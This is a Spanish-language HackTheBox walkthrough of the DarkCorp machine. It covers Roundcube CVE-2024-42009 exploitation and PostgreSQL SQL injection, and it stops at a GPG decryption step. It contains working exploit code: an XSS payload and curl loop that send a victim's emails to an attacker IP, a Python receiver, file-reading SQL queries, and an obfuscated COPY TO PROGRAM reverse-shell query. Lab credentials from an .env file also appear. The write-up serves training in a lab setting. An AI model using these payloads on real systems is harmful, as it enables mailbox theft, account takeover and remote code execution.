
Habilidades: Roundcube 1.6.7 Cross-Site Scripting (CVE-2024-42009), SQL Injection + RCE (PostgreSQL) via COPY - WAF Bypass, Linux System Enumeration, GPG File Decrypt, Credentials Leakage, Hash Cracking, Pivoting with ligolo-ng, AD Domain Enumeration, Abusing AD CS - ESC8 Technique (Abusing Marshal DNS + Kerberos Relay), Abusing DPAPI Secrets + Powershell CredentialManager Module, Abusing AD ACL - GenericWrite Rights, Shadow Credentials, Abusing Mixed Vendors Kerberos Stacks - UPN Spoofing, Abusing SSSD - Cached Credentials, Abusing Group Policy Objects, (Bonus) DCSync
Introducción
DarkCorp es una máquina Windows de dificultad Insane en HackTheBox donde debemos comprometer un entorno híbrido de Active Directory.
Inicialmente, debemos comprometer un sitio web basado en Roundcube explotando CVE-2024-42009, y luego de explotar una inyección SQL en Postgres ingresaremos a la primera máquina Linux (drip) unida al dominio de Active Directory. Conseguiremos credenciales descifrando un archivo de backup de una base de datos usando GPG, para posteriormente enumerar la red interna y explotar la técnica ESC8 usando Kerberos Relay y abusando del procesamiento de SPNs en Windows, consiguiendo acceso al host WEB-01 y obteniendo la flag de user.
La escalada de privilegios la conseguiremos a través de la explotación del diseño de userPrincipalName en entornos Kerberos mixtos (Windows/Unix), técnica la cual nos permitirá descifrar credenciales cacheadas por sssd. Luego de conseguir acceso al host DC-01, podremos abusar de una GPO para comprometer el dominio y completar DarkCorp.
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
export TARGET_IP=10.129.232.7
ping -c1 $TARGET_IP
PING 10.129.232.7 (10.129.232.7): 56 data bytes
64 bytes from 10.129.232.7: icmp_seq=0 ttl=127 time=139.679 ms
--- 10.129.232.7 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 139.679/139.679/139.679/0.000 ms
Nmap Scanning
Comenzaremos realizando un escaneo de puertos para identificar servicios expuestos en la máquina víctima. Primeramente utilizaremos el protocolo TCP
rustscan -a $TARGET_IP --ulimit 5000 -- -sC -sV -Pn -n -oN services
Nmap scan report for 10.129.232.7
Host is up, received user-set (0.20s latency).
Scanned at 2026-05-28 22:12:37 -04 for 13s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPM91a70VJCxg10WFerhkQv207077raOCX9rTMPBeEbHqGHO954XaFtpqjoofHOQWi2syh7IoOV5+APBOoJ60k0=
| 256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHquJFnMIhX9y8Ea87tDtRWPtxThlpE2Y1WxGzsyvQQM
80/tcp open http syn-ack nginx 1.22.1
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.22.1
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:12
Completed NSE at 22:12, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:12
Completed NSE at 22:12, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:12
Completed NSE at 22:12, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.59 seconds
-p: Especificar puertos-sV: Identificar la versión del servicio-sC: Uso de scripts de reconocimiento-oN: Exportar la salida en formato normal
Identificamos solamente dos servicios, ssh y http, lo cual no es tan habitual frente a un entorno Windows. Es probable que el entorno objetivo se encuentre detrás de estos servicios en una red interna.
Web Enumeration
En cuanto a las tecnologías web, sabremos por la captura que nos enfrentamos ante nginx 1.22.1, podemos escanear más a fondo con herramientas como whatweb
whatweb http://"$TARGET_IP"
http://10.129.232.7 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.22.1], IP[10.129.232.7], Meta-Refresh-Redirect[http://drip.htb/], nginx[1.22.1]
http://drip.htb/ [302 Found] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], IP[10.129.232.7], RedirectLocation[index], Title[Redirecting...], nginx[1.22.1]
http://drip.htb/index [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[example@company.com,support@drip.htb], HTML5, HTTPServer[nginx/1.22.1], IP[10.129.232.7], PoweredBy[Roundcube], Script, Title[DripMail], nginx[1.22.1]
Al intentar navegar hasta
http://10.129.232.7, veremos que el servidor nos intenta redirigir al dominiodrip.htb, lo cual no vimos desde la captura denmap.
Agregaremos este nombre de dominio a nuestro archivo /etc/hosts para aplicar correctamente las resoluciones DNS.
export DOMAIN=drip.htb
echo "$TARGET_IP $DOMAIN" | sudo tee -a /etc/hosts
10.129.232.7 drip.htb
Volveremos a lanzar la herramienta whatweb para analizar las tecnologías web que el servidor está empleando
whatweb http://"$DOMAIN"
http://drip.htb [302 Found] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], IP[10.129.232.7], RedirectLocation[index], Title[Redirecting...], nginx[1.22.1]
http://drip.htb/index [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[example@company.com,support@drip.htb], HTML5, HTTPServer[nginx/1.22.1], IP[10.129.232.7], PoweredBy[Roundcube], Script, Title[DripMail], nginx[1.22.1]
Ahora si navegamos hasta drip.htb, veremos la siguiente web. El sitio web tiene como nombre DripMail y parece ser un servicio de correo electrónico.

Roundcube
Por si no nos dimos cuenta de que el servidor emplea Roundcube al ver las imágenes, veremos el siguiente mensaje en la web que lo confirma

Al hacer Hovering sobre el botón Sign in, se muestra un enlace al subdominio mail.drip.htb

Añadiremos este subdominio a nuestro archivo /etc/hosts con el fin de aplicar correctamente resolución DNS y poder acceder a él
sudo sed -i "s/$DOMAIN/& mail.&/" /etc/hosts
Registration
En la página inicial, veremos un enlace que nos permite registrarnos bajo la ruta /register

Aprovecharemos esta funcionalidad para registrar una cuenta e iniciar sesión en la plataforma

Al registrarnos, podremos iniciar sesión en la plataforma Roundcube bajo el subdominio mail.drip.htb

Al ingresar a la plataforma, nos cargará nuestra bandeja de entrada.
El servidor nos ha asignado el dominio
@drip.htbal usuario que hemos creado.

Al ver el correo electrónico de bienvenida, veremos un usuario support@drip.htb

Al presionar la pestaña About de la barra lateral izquierda, se desplegará la siguiente tarjeta que contiene información sobre la versión de Roundcube, la cual es la 1.6.7

Esta versión de Roundcube parece ser vulnerable a Cross-Site Scripting, concretamente a CVE-2024-42009 y CVE-2024-42008. Por ahora exploraremos más las funcionalidades de la plataforma antes de intentar explotar estos CVE

Contact
En la web de inicio podemos ver un formulario de contacto. A modo de prueba, podemos enviar un mensaje a través de él para ver cómo se comporta la web

Si interceptamos la solicitud con un proxy HTTP (como Burpsuite), veremos la solicitud que estamos enviando.
En este caso la cuenta encargada de recibir nuestro correo es
support@drip.htb.

Podemos probar cambiando el nombre del parámetro recipient para enviar el correo hacia nosotros (en mi caso, lo enviaría a incommatose@drip.htb)

Veremos el correo electrónico en nuestra bandeja de entrada, donde el footer menciona que si sospechamos de un correo malicioso, que contactemos con bcase@drip.htb

If you suspect that you've received a "phishing" e-mail, please forward the entire email to our security engineer at bcase@drip.htb
Intrusión / Explotación
CVE-2024-42009 - Roundcube 1.6.7 Cross-Site Scripting
CVE-2024-42009 es una vulnerabilidad entre las versiones 1.5.7 y 1.6.7 del software Roundcube. Permite que un atacante no autenticado consiga robar correos electrónicos, contactos, o incluso enviar correos en el nombre de la víctima.
Para su explotación solamente basta con que el usuario víctima abra un correo malicioso entrante
Understanding Vulnerability
El fallo se produce cuando la herramienta WasHTML (que utiliza Roundcube para sanitizar contenido HTML) sanitiza los correos electrónicos para luego ser procesados en la función message_body().
Esto puede aprovecharse para inyectar código javascript en un correo electrónico, a continuación se muestra un fragmento del código fuente vulnerable correspondiente a la versión 1.6.7.
public static function message_body($attrib)
{
// ...
// Parse the part content for display
// [1] sanitize
$body = self::print_body($body, $part, $body_args);
// ...
if ($part->ctype_secondary == 'html') {
// [2] modify -> desanitization
$body = self::html4inline($body, $body_args);
}
// [3] desanitized html is displayed
$out .= html::div($body_args['container_attrib'], $plugin['prefix'] . $body);
// ...
}
El contenido HTML del correo se sanitiza dentro de la función print_body(), sin embargo lo que retorna es un documento HTML completo. Este contenido se transforma desde la función html4inline().
Esta función transforma un documento HTML en un fragmento eliminando <!DOCTYPE>, <head> y otros elementos. Reemplazando la etiqueta <body> por un <div>, ya que la página principal ya tiene una etiqueta <body>.
public static function html4inline($body, &$args)
{
//...
$regexp = '/<body([^>]*)/';
// Handle body attributes that doesn't play nicely with div elements
if (preg_match($regexp, $body, $m)) {
$style = [];
$attrs = $m[0];
// ...
}
}
También hay cierta lógica para eliminar los atributos heredados bgcolor, text y background del elemento <body>, aplicando una serie de expresiones regulares.
El problema viene cuando las expresiones regulares que se aplican en esta última función “rompen” el HTML, que ya venía seguro desde print_body(), logrando un efecto inverso.
La siguiente etiqueta <body> forma parte de la prueba de concepto compartida desde el siguiente post. Dado que html4inline() se utiliza después de la sanitización, los atributos maliciosos que se introducen de la siguiente manera no se eliminan.
<body title="bgcolor=foo" name="bar onload=alert(origin)">
preg_replace() -> <body title=" name="bar onload=alert(origin)">
Proof of Concept
Como el body se transforma en un div, un atributo que funciona para inyectar código javascript sería onanimationstart
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar">Foo</body>
Opcionalmente, podemos ejecutar pruebas antes de explotar este CVE, como probar enviar un correo malicioso a nosotros mismos y ver su comportamiento.
Comenzaremos enviando la siguiente solicitud, la cual envía el payload en el parámetro message, debería aparecer el nuevo correo en nuestra bandeja.
Nota cómo cambiamos el parámetro
contentpara que su valor seahtml

Al abrir el correo que nos acabamos de enviar, deberíamos ver un cuadro de diálogo.

Esto indica que estamos inyectando correctamente código
javascriptdentro del atributoonanimationstartde la etiquetabody
La siguiente prueba de concepto se encarga de enviar correos maliciosos, además de iniciar un servidor HTTP para recibirlos, aunque podemos alternativamente construir el nuestro
Para construir nuestro payload, necesitaremos conocer un poco la lógica de los correos electrónicos.
Podemos notar que al hacer hovering al título de un correo, veremos la URL que hace referencia a su visualización
http://mail.drip.htb/?_task=mail&_mbox=INBOX&_uid=3&_action=show

Debemos considerar que:
- El parámetro
_uididentifica a cada correo electrónico en nuestra bandeja de entrada.- Para visualizar un correo se utiliza el parámetro
actioncon el valorshow.
El siguiente código javascript será lo que el usuario procese una vez abra nuestro correo malicioso
fetch('/?_task=mail&_action=show&_uid=1&_mbox=INBOX&_extwin=1')
.then(response=>response.text())
.then(data=>fetch(`http://10.10.15.30/?data=btoa(${data}))
De forma que el payload final que enviaremos sería más o menos lo siguiente
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch('/?_task=mail&_mbox=INBOX&_uid=1&_action=show').then(response=>response.text()).then(data=>fetch(`http://10.10.15.30/?data=${btoa(data)}`)) foo=bar'">Foo</body>
El siguiente código en python3 basado en la prueba de concepto que encontramos se encargará de recibir los correos electrónicos y decodificarlos para ver su contenido
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
import base64
from bs4 import BeautifulSoup
import html
class MyGetHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
return # Supress logging
def do_GET(self):
query_params = parse_qs(urlparse(self.path).query)
b64_string = query_params['data'][0].replace(' ', '+')
if 'data' in query_params:
try:
content = base64.b64decode(b64_string)
except Exception:
content = b64_string.encode('utf-8', errors='ignore')
soup = BeautifulSoup(content, 'html.parser')
email_body = soup.find('div', id='messagebody')
text_value = email_body.get_text(separator="\n", strip=True)
text_value = html.unescape(text_value)
print(f'Captured email: \n{text_value}\n')
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")
if __name__ == '__main__':
print('Starting HTTP Server on 0.0.0.0:80...')
HTTPServer(('0.0.0.0', 80), MyGetHandler).serve_forever()
Recordemos el mensaje que vimos anteriormente, mencionando que podemos reportar emails sospechosos de Phishing.
Nuestro usuario objetivo será el ingeniero encargado de verificar estos correos sospechosos (
bcase@drip.htb).
Intentemos enviar un correo con el payload a esta cuenta, de forma que enumeremos el contenido de cada correo electrónico de su bandeja de entrada

Al cabo de unos segundos, recibiremos una solicitud HTTP en nuestro servidor
uv venv
source .venv/bin/activate
uv pip install beautifulsoup4 requests
uv run server.py
Starting HTTP Server on 0.0.0.0:80...
Email recieved from victim:
Hi bcase,
Welcome to DripMail! We're excited to provide you with convenient email solutions! If you need help, please reach out to us at
support@drip.htb
.
Exploiting
Ahora que tenemos la capacidad para exfiltrar correos electrónicos, podemos comenzar a iterar la bandeja de entrada de la víctima usando el parámetro _uid.
En este caso decidí usar
curlpara iterar por los5primeros correos usando un bucleforenbash.
for uid in $(seq 1 5); do echo "Sending payload with uid: $uid"; curl -sX POST "http://$DOMAIN/contact" -d "name=Foo&email=incommatose%40drip.htb&message=<body+title%3d\"bgcolor%3dfoo\"+name%3d\"bar+style%3danimation-name%3aprogress-bar-stripes+onanimationstart%3dfetch('/%3f_task%3dmail%26_mbox%3dINBOX%26_uid%3d$uid%26_action%3dshow').then(response%3d>response.text()).then(data%3d>fetch(\`http%3a//10.10.15.30/%3fdata%3d\${btoa(data)}\`))+foo%3dbar'\">Foo</body>&content=html&recipient=bcase%40drip.htb" &>/dev/null ; done
Sending payload with uid: 1
Sending payload with uid: 2
Sending payload with uid: 3
Sending payload with uid: 4
Sending payload with uid: 5
Ejecutaremos el exploit de la siguiente manera, veremos uno a uno los correos electrónicos correspondientes al usuario víctima
Captured email:
Hi bcase,
Welcome to DripMail! We're excited to provide you with convenient email solutions! If you need help, please reach out to us at
support@drip.htb
.
Captured email:
Hey Bryce,
The Analytics dashboard is now live. While it's still in development and limited in functionality, it should provide a good starting point for gathering metadata on the users currently using our service.
You can access the dashboard at dev-a3f1-01.drip.htb. Please note that you'll need to reset your password before logging in.
If you encounter any issues or have feedback, let me know so I can address them promptly.
Thanks
Captured email:
Foo
Confidentiality Notice: This electronic communication may contain confidential or privileged information. Any unauthorized review, use, disclosure, copying, distribution, or taking of any part of this email is strictly prohibited.
If you suspect that you've received a "phishing" e-mail, please forward the entire email to our security engineer at bcase@drip.htb
Captured email:
Foo
Confidentiality Notice: This electronic communication may contain confidential or privileged information. Any unauthorized review, use, disclosure, copying, distribution, or taking of any part of this email is strictly prohibited.
If you suspect that you've received a "phishing" e-mail, please forward the entire email to our security engineer at bcase@drip.htb
Captured email:
Foo
Confidentiality Notice: This electronic communication may contain confidential or privileged information. Any unauthorized review, use, disclosure, copying, distribution, or taking of any part of this email is strictly prohibited.
If you suspect that you've received a "phishing" e-mail, please forward the entire email to our security engineer at bcase@drip.htb
Aparte del mensaje de bienvenida, lograremos ver un correo que menciona una plataforma en desarrollo bajo el subdominio dev-a3f1-01.drip.htb.
Agregaremos este subdominio a nuestro archivo /etc/hosts rápidamente usando el siguiente comando
sudo sed -i "s/$DOMAIN\$/& dev-a3f1-01.$DOMAIN/" /etc/hosts
El mensaje anterior menciona que debemos cambiar la contraseña antes de ingresar a la plataforma.
Web Access as bcase - drip
Al navegar hasta el nuevo subdominio, veremos una web con el mensaje Access denied, debajo de este se encuentra un botón que nos redirige a /login

Dentro de la web de login, encontraremos un enlace que nos redirige a /forgot

Aquí podemos probar indicando nuestra dirección de correo, aunque obtendremos un error.
Account Takeover
Como podemos acceder a los correos de la cuenta bcase@drip.htb, haremos que el enlace realmente llegue a su bandeja de entrada. Posteriormente volveremos a exfiltrar sus correos para obtener el enlace
En este punto recomiendo reiniciar la máquina para no tener que enviar
800mil correos (producto de las pruebas que hicimos anteriormente, las cuales en mi caso perdí la cuenta, pero fueron bastantes).

Volveremos a realizar el ataque, esta vez deberíamos intentar ver un nuevo correo con el enlace de recuperación
uv run server.py
Starting HTTP Server on 0.0.0.0:80...
Lanzaremos un rango mayor de _uid, con el fin de capturar más correos entrantes de la bandeja de entrada
for uid in $(seq 1 10); do echo "Sending email with uid: $uid"; curl -sX POST "http://$DOMAIN/contact" -d "name=Foo&email=incommatose%40drip.htb&message=<body+title%3d\"bgcolor%3dfoo\"+name%3d\"bar+style%3danimation-name%3aprogress-bar-stripes+onanimationstart%3dfetch('/%3f_task%3dmail%26_mbox%3dINBOX%26_uid%3d$uid%26_action%3dshow').then(response%3d>response.text()).then(data%3d>fetch(\`http%3a//10.10.15.30/%3fdata%3d\${btoa(data)}\`))+foo%3dbar'\">Foo</body>&content=html&recipient=bcase%40drip.htb" &>/dev/null ; done
Sending email with uid: 1
Sending email with uid: 2
Sending email with uid: 3
Sending email with uid: 4
Sending email with uid: 5
Sending email with uid: 6
Sending email with uid: 7
Sending email with uid: 8
Sending email with uid: 9
Sending email with uid: 10
En nuestro servidor HTTP comenzamos a ver el contenido de cada correo hasta que vemos el sigiuente
<SNIP>
Captured email:
Your reset token has generated. ĀPlease reset your password within the next 5 minutes.
You may reset your password here:
http://dev-a3f1-01.drip.htb/reset/ImJjYXNlQGRyaXAuaHRiIg.ahnFuQ.ObOCjrFgySg08EXnRSDV-04ixmE
Web Access
Accederemos a este enlace que exfiltramos para restablecer la contraseña del usuario bcase

Una vez cambiemos la contraseña del usuario bcase, accederemos a la plataforma

Al iniciar sesión en la plataforma como el usuario bcase, veremos la siguiente página web

Analytics
Tendremos una funcionalidad de búsqueda desde la sección Analytics

Al posiblemente tratarse de una plataforma personalizada, haremos pruebas habituales de vulnerabilidades frente a la funcionalidad de búsqueda.
SQL Injection
Al ingresar un dato cualquiera a modo de prueba, veremos cómo se acontece un error SQL en la web

Al parecer, lo que ingresamos en el buscador forma parte de la query para buscar una columna de la tabla Users.
Además, este error proviene de la libería psycopg2, a través de una búsqueda rápida, notaremos que se trata de una libería en Python para PostgreSQL.
Psycopg2es la biblioteca (o adaptador) más popular del lenguaje Python para conectarse y trabajar con bases de datosPostgreSQL.
Testing
Luego de algunas pruebas, descubriremos que ingresar dos comillas simples (') cierra correctamente la query y no genera errores
''

Podemos ingresar un caracter de ; para enviar una query en una nueva línea
''; SELECT 1

Local File Inclusion
Si intentamos enviar una query que cargue archivos de la máquina usando la función pg_file_read(), tendremos capacidad de lectura
'';SELECT pg_read_file('/etc/passwd');
La salida de este comando nos confirma que el host que ejecuta este servicio posee el sistema operativo
Linux.

Al consultar el archivo /etc/hosts veremos que tenemos entradas de host en una red interna

También podemos listar directorios usando la función pg_ls_dir()
'';SELECT pg_ls_dir('/etc');

RCE via COPY - WAF Bypass
Cuando intentamos una query que ejecute un comando con la sentencia COPY (SELECT '') TO PROGRAM, el servidor arrojará un error
''; COPY (SELECT '') TO PROGRAM 'id > /tmp/out.txt';

Sin embargo, puede que exista algún filtro que podría valer la pena eludir con técnicas como se especifica en PayloadAllTheThings y en Hacktricks.
En contextos de consultas
SQLenPostgres, unWAFo ciertos sistemas de monitoreo eliminan palabras comoCOPY ... TO PROGRAMpara bloquear consultas maliciosas.
La siguiente query intenta eludir este tipo de protecciones superficiales usando una técnica que fragmenta la consulta original para pasar el filtro.
En este caso reemplaza la letra
Cpor su código enASCIIcon la funciónCHR(), y el resto de la consulta pasaría desapercibida y no sería bloqueada por unWAF.
Posteriormente, EXECUTE le infica a PostgreSQL que ejecute el texto que acaba de construir con la variable cmd
''DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'COPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.15.30/443 0>&1"''';
EXECUTE cmd;
END $$;
Al enviar la query anterior posterior a nuestro payload inicial ('';), la web se quedará cargando

Shell as postgres - drip
Desde nuestro listener, habremos recibido una consola como el usuario postgres
Connection from 10.129.5.241:49938
bash: cannot set terminal process group (2909): Inappropriate ioctl for device
bash: no job control in this shell
postgres@drip:/var/lib/postgresql/15/main$ id
id
uid=102(postgres) gid=110(postgres) groups=110(postgres),109(ssl-cert)
TTY Treatment
Haremos un tratamiento de esta consola con el fin de conseguir una más interactiva, además de ajustar las proporciones de la terminal con el comando stty
ostgres@drip:/var/lib/postgresql/15/main$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
postgres@drip:/var/lib/postgresql/15/main$ ^Z
[1] + 8440 suspended nc -lvnp 443
╭─ incommatose@HackBookPro ~/.exegol/workspaces/hackthebox/labs/machines/darkcorp/exploits
╰─ $ stty raw -echo;fg
[1] + 8440 continued nc -lvnp 443
reset xterm
postgres@drip:/var/lib/postgresql/15/main$ export TERM=xterm
postgres@drip:/var/lib/postgresql/15/main$ stty rows 48 columns 156
System Enumeration
En este punto nos encontramos dentro de una máquina Linux, procederemos a enumerar el sistema en búsqueda de vías potenciales para movernos lateralmente por la red y escalar privilegios
postgres@drip:/var/lib/postgresql/15/main$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Recordemos que en el archivo /etc/hosts vimos entradas de host definidas para la red interna 172.16.20.X/X.
Al listar todas las direcciones IP de las interfaces de red existentes con hostname, veremos que esta máquina tiene asignada la .3 de esta red interna
postgres@drip:/var/lib/postgresql/15/main$ hostname -I
hostname -I
172.16.20.3
Users
Desde el archivo /etc/passwd podemos ver qué usuarios son válidos a nivel de sistema
postgres@drip:/var/lib/postgresql/15/main$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
bcase:x:1000:1000:Bryce Case Jr.,,,:/home/bcase:/bin/bash
postgres:x:102:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ebelford:x:1002:1002:Eugene Belford:/home/ebelford:/bin/bash
Open Ports
Podemos listar los puertos abiertos internamente en la máquina drip en búsqueda de servicios internos
ebelford@drip:/tmp$ ss -tunl | grep LISTEN
tcp LISTEN 0 100 127.0.0.1:993 0.0.0.0:*
tcp LISTEN 0 5 127.0.0.1:40435 0.0.0.0:*
tcp LISTEN 0 2048 127.0.0.1:8000 0.0.0.0:*
tcp LISTEN 0 2048 127.0.0.1:8001 0.0.0.0:*
tcp LISTEN 0 10 127.0.0.1:33059 0.0.0.0:*
tcp LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
tcp LISTEN 0 100 127.0.0.1:143 0.0.0.0:*
tcp LISTEN 0 100 127.0.0.1:587 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 100 127.0.0.1:25 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 511 [::]:80 [::]:*
Database Credentials
Enumerando los archivos del sitio web dashboard, veremos un archivo .env
postgres@drip:/var/lib/postgresql/15/main$ ls -la /var/www/html/dashboard/
total 36
drwxr-xr-x 5 root root 4096 Jan 16 2025 .
drwxr-xr-x 4 root root 4096 Jan 13 2025 ..
drwxr-xr-x 7 root root 4096 Jan 10 2025 apps
lrwxrwxrwx 1 root root 18 Dec 19 2024 app_venv -> /var/www/app_venv/
-rw-r--r-- 1 root root 796 Jan 15 2025 .env
-rw-r--r-- 1 root root 198 Dec 17 2024 gunicorn-cfg.py
drwxr-xr-x 2 root root 4096 Jan 10 2025 media
drwxr-xr-x 2 root root 4096 Jan 10 2025 __pycache__
-rw-r--r-- 1 root root 330 Dec 17 2024 requirements.txt
-rw-r--r-- 1 root root 1037 Dec 19 2024 run.py
En este archivo se guardan las credenciales para conectarse a la base de datos
postgres@drip:/var/lib/postgresql/15/main$ cat /var/www/html/dashboard/.env
# True for development, False for production
DEBUG=False
# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development
# If not provided, a random one is generated
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>
# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets
# If DB credentials (if NOT provided, or wrong values SQLite is used)
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432
SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = 'support@drip.htb'
Database Backup
En el directorio /var/backups, encontraremos un directorio llamado postgres
postgres@drip:/var/lib/postgresql/15/main$ ls -la /var/backups/;
total 1564
drwxr-xr-x 3 root root 4096 Feb 11 2025 .
drwxr-xr-x 12 root root 4096 Jan 10 2025 ..
-rw-r--r-- 1 root root 81920 Jan 6 2025 alternatives.tar.0
-rw-r--r-- 1 root root 5714 Jan 2 2025 alternatives.tar.1.gz
-rw-r--r-- 1 root root 5714 Jan 1 2025 alternatives.tar.2.gz
-rw-r--r-- 1 root root 5710 Dec 24 2024 alternatives.tar.3.gz
-rw-r--r-- 1 root root 2229 Dec 19 2024 alternatives.tar.4.gz
-rw-r--r-- 1 root root 40805 Feb 3 2025 apt.extended_states.0
-rw-r--r-- 1 root root 4671 Jan 15 2025 apt.extended_states.1.gz
-rw-r--r-- 1 root root 4675 Dec 30 2024 apt.extended_states.2.gz
-rw-r--r-- 1 root root 4334 Dec 20 2024 apt.extended_states.3.gz
-rw-r--r-- 1 root root 2669 Dec 19 2024 apt.extended_states.4.gz
-rw-r--r-- 1 root root 2004 Dec 17 2024 apt.extended_states.5.gz
-rw-r--r-- 1 root root 0 Jan 1 2025 dpkg.arch.0
-rw-r--r-- 1 root root 32 Dec 24 2024 dpkg.arch.1.gz
-rw-r--r-- 1 root root 32 Dec 20 2024 dpkg.arch.2.gz
-rw-r--r-- 1 root root 32 Dec 19 2024 dpkg.arch.3.gz
-rw-r--r-- 1 root root 473 Dec 20 2024 dpkg.diversions.0
-rw-r--r-- 1 root root 214 Dec 20 2024 dpkg.diversions.1.gz
-rw-r--r-- 1 root root 198 Dec 19 2024 dpkg.diversions.2.gz
-rw-r--r-- 1 root root 168 Dec 17 2024 dpkg.diversions.3.gz
-rw-r--r-- 1 root root 332 Dec 19 2024 dpkg.statoverride.0
-rw-r--r-- 1 root root 219 Dec 19 2024 dpkg.statoverride.1.gz
-rw-r--r-- 1 root root 219 Dec 19 2024 dpkg.statoverride.2.gz
-rw-r--r-- 1 root root 120 Dec 17 2024 dpkg.statoverride.3.gz
-rw-r--r-- 1 root root 863309 Dec 30 2024 dpkg.status.0
-rw-r--r-- 1 root root 207516 Dec 20 2024 dpkg.status.1.gz
-rw-r--r-- 1 root root 154520 Dec 19 2024 dpkg.status.2.gz
-rw-r--r-- 1 root root 129134 Dec 17 2024 dpkg.status.3.gz
drwx------ 2 postgres postgres 4096 Feb 5 2025 postgres
Dentro de este directorio se encuentra un archivo dev-dripmail.old.sql.gpg, el cual parece ser un backup de la base de datos de la plataforma web
postgres@drip:/var/lib/postgresql/15/main$ ls -la /var/backups/postgres/
total 12
drwx------ 2 postgres postgres 4096 Feb 5 2025 .
drwxr-xr-x 3 root root 4096 Feb 11 2025 ..
-rw-r--r-- 1 postgres postgres 1784 Feb 5 2025 dev-dripmail.old.sql.gpg
GPG File Decrypt
Un archivo
.gpges un archivo que ha sido cifrado o firmado utilizandoGNU Privacy Guard(GPG) o el estándarOpenPGPpara proteger su privacidad e integridad.
Al ejecutar file, notaremos que este es un archivo GPG cifrado
postgres@drip:/var/lib/postgresql/15/main$ file /var/backups/postgres/dev-dripmail.old.sql.gpg
/var/backups/postgres/dev-dripmail.old.sql.gpg: PGP RSA encrypted session key - keyid: 11123366 61D8BC1F RSA (Encrypt or Sign) 3072b .
Los archivos necesarios para GnuPG se encuentran dentro del directorio personal del usuario, en este caso dentro de /var/lib/postgresql/.
El directorio
~/.gnupges la ubicación estándar en sistemas Linux dondeGNU Privacy Guard(GPG) almacena sus archivos de configuración y las claves privadas y públicas del usuario para cifrado y firma digital.
Con el siguiente comando podemos listar el almacén de claves (pubring.kbx)
postgres@drip:/var/lib/postgresql/15/main$ gpg --list-keys
/var/lib/postgresql/.gnupg/pubring.kbx
--------------------------------------
pub rsa3072 2025-01-08 [SC] [expires: 2027-01-08]
3AA1F620319ABF74EF5179C0F426B2D867825D9F
uid [ultimate] postgres <postgres@drip.darkcorp.htb>
sub rsa3072 2025-01-08 [E] [expires: 2027-01-08]
La clave púbica (3AA1F620319ABF74EF5179C0F426B2D867825D9F) tiene asignada las flags [SC]:
Sign: Firmar datos/correos.Certify: Certificar otras subclaves.
La subclave (sub rsa3072 2025-01-08 [E]) posee la flag [E]:
E: Infica que la subclave está autorizada únicamente para cifrar/descifrar datos.
Para descifrar un archivo
.gpgsimplemente podríamos utilizar la flag-do--decrypt, esto podemos hacerlo si fuéramos el propietario del directorio donde se almacenan los archivos de claves que necesitagpg.
Si intentamos descifrar este archivo en la máquina víctima, nos pedirá un passphrase
